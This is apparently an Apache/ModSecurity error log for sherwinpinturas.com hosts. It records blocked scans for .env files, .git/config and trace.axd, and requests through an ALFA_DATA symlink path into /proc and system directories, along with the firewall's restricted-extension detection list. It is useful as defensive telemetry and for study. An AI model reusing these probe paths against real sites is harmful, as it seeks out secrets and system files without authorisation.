[Sun Oct 25 04:42:39.708040 2026] [security2:error] [pid 2799890:tid 2799890] [client 130.12.180.117:12484] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.save"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.env.save"] [unique_id "at3A_2ChNy-R5DAZy2u7-wAAAA0"]
[Sun Oct 25 04:42:39.708282 2026] [security2:error] [pid 2799890:tid 2799890] [client 130.12.180.117:12484] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.env.save"] [unique_id "at3A_2ChNy-R5DAZy2u7-wAAAA0"]
[Sun Oct 25 04:42:39.708620 2026] [security2:error] [pid 2799890:tid 2799890] [client 130.12.180.117:12484] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.env.save"] [unique_id "at3A_2ChNy-R5DAZy2u7-wAAAA0"]
[Sun Oct 25 04:42:39.771266 2026] [security2:error] [pid 2800080:tid 2800080] [client 130.12.180.117:12482] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env.bak"] [unique_id "at3A_-qg3wvAvSM2DxfLHQAAAAQ"]
[Sun Oct 25 04:42:39.771511 2026] [security2:error] [pid 2800080:tid 2800080] [client 130.12.180.117:12482] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env.bak"] [unique_id "at3A_-qg3wvAvSM2DxfLHQAAAAQ"]
[Sun Oct 25 04:42:39.771847 2026] [security2:error] [pid 2800080:tid 2800080] [client 130.12.180.117:12482] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env.bak"] [unique_id "at3A_-qg3wvAvSM2DxfLHQAAAAQ"]
[Sun Oct 25 04:42:45.553700 2026] [security2:error] [pid 2800300:tid 2800300] [client 167.71.175.236:60046] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env"] [unique_id "at3BBdyUatkAjssgRUdw7AAAAA4"]
[Sun Oct 25 04:42:45.553965 2026] [security2:error] [pid 2800300:tid 2800300] [client 167.71.175.236:60046] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env"] [unique_id "at3BBdyUatkAjssgRUdw7AAAAA4"]
[Sun Oct 25 04:42:45.554272 2026] [security2:error] [pid 2800300:tid 2800300] [client 167.71.175.236:60046] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env"] [unique_id "at3BBdyUatkAjssgRUdw7AAAAA4"]
[Sun Oct 25 04:42:46.217910 2026] [ssl:error] [pid 2800259:tid 2800259] (70014)End of file found: [client 18.213.102.186:52437] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:42:47.237340 2026] [security2:error] [pid 2800301:tid 2800301] [client 64.225.75.246:46948] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.env"] [unique_id "at3BB2-vioONKq5GrvyFfwAAAA8"]
[Sun Oct 25 04:42:47.237611 2026] [security2:error] [pid 2800301:tid 2800301] [client 64.225.75.246:46948] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.env"] [unique_id "at3BB2-vioONKq5GrvyFfwAAAA8"]
[Sun Oct 25 04:42:47.237887 2026] [security2:error] [pid 2800301:tid 2800301] [client 64.225.75.246:46948] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.env"] [unique_id "at3BB2-vioONKq5GrvyFfwAAAA8"]
[Sun Oct 25 04:42:49.556644 2026] [security2:error] [pid 2800259:tid 2800259] [client 167.71.175.236:60056] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at3BCb2dQNaDuK1aHdokaAAAAAs"]
[Sun Oct 25 04:42:49.556886 2026] [security2:error] [pid 2800259:tid 2800259] [client 167.71.175.236:60056] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at3BCb2dQNaDuK1aHdokaAAAAAs"]
[Sun Oct 25 04:42:49.557127 2026] [security2:error] [pid 2800259:tid 2800259] [client 167.71.175.236:60056] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at3BCb2dQNaDuK1aHdokaAAAAAs"]
[Sun Oct 25 04:42:51.019384 2026] [security2:error] [pid 2800291:tid 2800291] [client 64.225.75.246:53576] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at3BCwTlVUHc_JBkiqwgoQAAAAw"]
[Sun Oct 25 04:42:51.019696 2026] [security2:error] [pid 2800291:tid 2800291] [client 64.225.75.246:53576] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at3BCwTlVUHc_JBkiqwgoQAAAAw"]
[Sun Oct 25 04:42:51.019941 2026] [security2:error] [pid 2800291:tid 2800291] [client 64.225.75.246:53576] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at3BCwTlVUHc_JBkiqwgoQAAAAw"]
[Sun Oct 25 04:42:54.173572 2026] [ssl:error] [pid 2800259:tid 2800259] (70014)End of file found: [client 52.203.68.145:55378] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:42:54.917462 2026] [proxy_fcgi:error] [pid 2800173:tid 2800173] [client 167.71.175.236:40718] AH01071: Got error 'Primary script unknown'
[Sun Oct 25 04:42:57.863220 2026] [security2:error] [pid 2800257:tid 2800257] [client 167.71.175.236:40740] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".axd"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/trace.axd"] [unique_id "at3BEQucbPRTB84uYmjgKgAAAAk"]
[Sun Oct 25 04:42:57.863613 2026] [security2:error] [pid 2800257:tid 2800257] [client 167.71.175.236:40740] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/trace.axd"] [unique_id "at3BEQucbPRTB84uYmjgKgAAAAk"]
[Sun Oct 25 04:42:57.863901 2026] [security2:error] [pid 2800257:tid 2800257] [client 167.71.175.236:40740] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/trace.axd"] [unique_id "at3BEQucbPRTB84uYmjgKgAAAAk"]
[Sun Oct 25 04:42:58.163684 2026] [ssl:error] [pid 2800259:tid 2800259] (70014)End of file found: [client 107.23.62.75:30254] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:43:00.486439 2026] [security2:error] [pid 2800177:tid 2800177] [client 64.225.75.246:50080] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".axd"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/trace.axd"] [unique_id "at3BFPLDK1Y9NF9ul8XcxAAAAAg"]
[Sun Oct 25 04:43:00.486804 2026] [security2:error] [pid 2800177:tid 2800177] [client 64.225.75.246:50080] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/trace.axd"] [unique_id "at3BFPLDK1Y9NF9ul8XcxAAAAAg"]
[Sun Oct 25 04:43:00.487095 2026] [security2:error] [pid 2800177:tid 2800177] [client 64.225.75.246:50080] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/trace.axd"] [unique_id "at3BFPLDK1Y9NF9ul8XcxAAAAAg"]
[Sun Oct 25 04:43:00.995403 2026] [security2:error] [pid 2800176:tid 2800176] [client 167.71.175.236:43294] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "hoteles3.sherwinpinturas.com"] [uri "/"] [unique_id "at3BFMAclEqdWzgpj08v1AAAAAc"]
[Sun Oct 25 04:43:00.995456 2026] [security2:error] [pid 2800176:tid 2800176] [client 167.71.175.236:43294] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "hoteles3.sherwinpinturas.com"] [uri "/"] [unique_id "at3BFMAclEqdWzgpj08v1AAAAAc"]
[Sun Oct 25 04:43:02.229366 2026] [core:error] [pid 2800291:tid 2800291] (13)Permission denied: [client 100.29.155.89:51573] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/tty/tty50/subsystem/tty5/subsystem/ttyS0/xmit_fifo_size
[Sun Oct 25 04:43:10.175182 2026] [core:crit] [pid 2800258:tid 2800258] (13)Permission denied: [client 91.90.124.134:44994] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sun Oct 25 04:43:10.464252 2026] [security2:error] [pid 2800173:tid 2800173] [client 85.208.96.210:59390] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".pol"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/share/crypto-policies/policies/FIPS.pol"] [unique_id "at3BHsnrA_pwq9mjVbUHwgAAAAY"]
[Sun Oct 25 04:43:10.464945 2026] [security2:error] [pid 2800173:tid 2800173] [client 85.208.96.210:59390] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/share/crypto-policies/policies/FIPS.pol"] [unique_id "at3BHsnrA_pwq9mjVbUHwgAAAAY"]
[Sun Oct 25 04:43:10.465588 2026] [security2:error] [pid 2800173:tid 2800173] [client 85.208.96.210:59390] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/share/crypto-policies/policies/FIPS.pol"] [unique_id "at3BHsnrA_pwq9mjVbUHwgAAAAY"]
[Sun Oct 25 04:43:14.207012 2026] [ssl:error] [pid 2799890:tid 2799890] (70014)End of file found: [client 23.21.148.226:25664] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:43:18.759246 2026] [ssl:error] [pid 2800259:tid 2800259] (70014)End of file found: [client 54.235.172.96:8108] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:43:34.207197 2026] [ssl:error] [pid 2800173:tid 2800173] (70014)End of file found: [client 98.83.177.42:27383] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:43:42.259844 2026] [ssl:error] [pid 2800259:tid 2800259] (70014)End of file found: [client 34.203.111.15:30548] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:43:46.274962 2026] [core:error] [pid 2800300:tid 2800300] (13)Permission denied: [client 18.215.77.19:17619] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/tty/tty50/subsystem/tty1/subsystem/ttyS2/iomem_base
[Sun Oct 25 04:43:48.989934 2026] [security2:error] [pid 2800258:tid 2800258] [client 5.175.192.43:52720] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.env"] [unique_id "at3BRP4bXCHo2bDK5J20_QAAAAo"]
[Sun Oct 25 04:43:48.990223 2026] [security2:error] [pid 2800258:tid 2800258] [client 5.175.192.43:52720] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.env"] [unique_id "at3BRP4bXCHo2bDK5J20_QAAAAo"]
[Sun Oct 25 04:43:48.990616 2026] [security2:error] [pid 2800258:tid 2800258] [client 5.175.192.43:52720] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.env"] [unique_id "at3BRP4bXCHo2bDK5J20_QAAAAo"]
[Sun Oct 25 04:43:49.359846 2026] [security2:error] [pid 2800173:tid 2800173] [client 5.175.192.43:52730] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.env.local"] [unique_id "at3BRcnrA_pwq9mjVbUHxAAAAAY"]
[Sun Oct 25 04:43:49.360099 2026] [security2:error] [pid 2800173:tid 2800173] [client 5.175.192.43:52730] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.env.local"] [unique_id "at3BRcnrA_pwq9mjVbUHxAAAAAY"]
[Sun Oct 25 04:43:49.360452 2026] [security2:error] [pid 2800173:tid 2800173] [client 5.175.192.43:52730] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.env.local"] [unique_id "at3BRcnrA_pwq9mjVbUHxAAAAAY"]
[Sun Oct 25 04:44:06.488801 2026] [ssl:error] [pid 2800301:tid 2800301] (70014)End of file found: [client 23.23.212.212:18605] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:44:18.417953 2026] [ssl:error] [pid 2799890:tid 2799890] (70014)End of file found: [client 23.22.105.143:8844] AH02013: coalesce failed to read from data bucket
